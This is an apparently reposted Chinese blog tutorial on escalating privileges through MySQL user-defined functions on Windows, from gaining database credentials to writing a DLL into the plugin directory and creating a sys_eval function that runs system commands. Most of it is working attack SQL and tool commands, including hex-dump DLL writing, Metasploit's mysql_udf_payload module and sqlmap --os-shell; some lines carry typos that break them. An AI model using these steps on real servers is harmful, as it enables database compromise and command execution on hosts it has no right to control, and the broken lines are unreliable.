MYSQL UDF手动提权及自动化工具使用

前提场景:

MYSQL权限获取:

1.MYSQL3306端口开放弱口令且可远程连接

2.sqlmap 利用 --sql-shell(通过sqlmap连接数据库)

3.网站数据库配置文件获取账号密码

 UDF提权

        UDF(user defined function),自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以在 MySQL 中方便实现的功能,其添加的新函数都可以在SQL语句中调用,提权原理利用root高权限创建cmd函数执行系统命令

以下以windows操作系统为例进行手工演示提权及自动化工具提权演示

提权所需条件

一、*查看secure_file_priv的值

show variables like '%secure%'
  • secure_file_priv 没有值任意路径可读写
  • secure_file_priv 为NULL禁止读写
  • secure_file_priv 为对于目录,此目录可读写

load_file():读取函数,且可进行网络请求into dumpfile():只能写一行,原样写入 into out_file():多行写入,具有特殊格式转换

二、必须是root权限

三、寻找插件目录(dll文件必须上传到插件目录下)

 UDF 的动态链接库文件放到 MySQL 的插件目录下,使用 SQL 语句来查询目录:(若不存在则需要手工创建。)

show variables like '%plugin%';

注意:MYSQL版本>5.1导入在lib\plugin\目录下,MYSQL<5.1导入到C:\Windows\目录下

四、查找操作系统版本

 查看操作系统版本命令,根据版本选取对应的动态链接库

show variables like '%compile%';

注意:选取动态链接库版本错误则报Can't open shared library 'udf.dll'

提权步骤及方法:

方法一:通过ntfs流进行创建失败,好像已经被禁用。。。留在这里吧。可以进行尝试一下

select 'test' into dumpfile 'D:\\phpStudy\\PHPTurorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';

 方法二可以直接上传文件到插件目录,可以用msf或mysql动态链接库进行上传。(lib目录下没有plugin需要自己创建)

场景:获取webshell情况下

在msf中动态链接库:

sqlmap中动态链接库:

我这使用msf中的动态链接库,sqlmap下的udf文件是经过编码的,如果直接丢在mysql的plugin目录下是无法加载的,需要用sqlmap/extra/cloak/cloak.py进行解码

上传成功后直接创建函数(msf中有的dll中函数创建有sys_eval)

create funcion sys_eval returns strings soname 'udf.dll'; #创建函数
select * from mysql.func where name='sys_eval';  #查询创建的函数
select sys_eval("whomai");  #执行系统命令

 方法三:通过sql语句写入dll文件:

场景:可以进行sql注入具有写入权限的情况

在本地将dll文件转为16进制:

select hex(load_file(本地dll文件路径)) into dumpfile 'C:\\Users\\user\\Desktop\\udf.txt';
#load_file中的内容就是 C:\\Users\\user\\Desktop\\udf_32.dll 的16进制
#写到本地udf.txt文件中

通过以下步骤将udf.txt中的数据写入udf到插件目录

crate table udftemp(data longblob)  #创建临时表
insert into udftemp(data) values (0x+udf.txt中的值);  将16进制udf文件写入此表
select data from udftemp into dumpfile "D:\\phpStudy\\PHPTurorial\\MySQL\\lib\\plugin\\new.dll";  #写入dll
create function sys_eval returns string soname 'new.dll' #创建函数

补充:也可以利用工具自动化提权,msf、sqlmap --os-shell

MSF:

场景:得到数据库账号密码

使用exploit/multi/mysql/mysql_udf_payload模块,设定Rhost、password、username就可以该模块dll包含的函数,

数据库查询函数:

 

默认创建的函数是sys_exec该函数无回显结果,也可手动创建sys_eval函数。

手动创建sys_eval函数

 

 sqlmap:

场景:得到数据库账号密码、且用户可外连

python2 sqlmap.py -d "mysql://root:[email protected]:3306/test" --os-shell

python2 sqlmap.py -d "mysql://root:[email protected]:3306/test" --os-shell

猜你喜欢

转载自blog.csdn.net/qq_45373631/article/details/121422573
今日推荐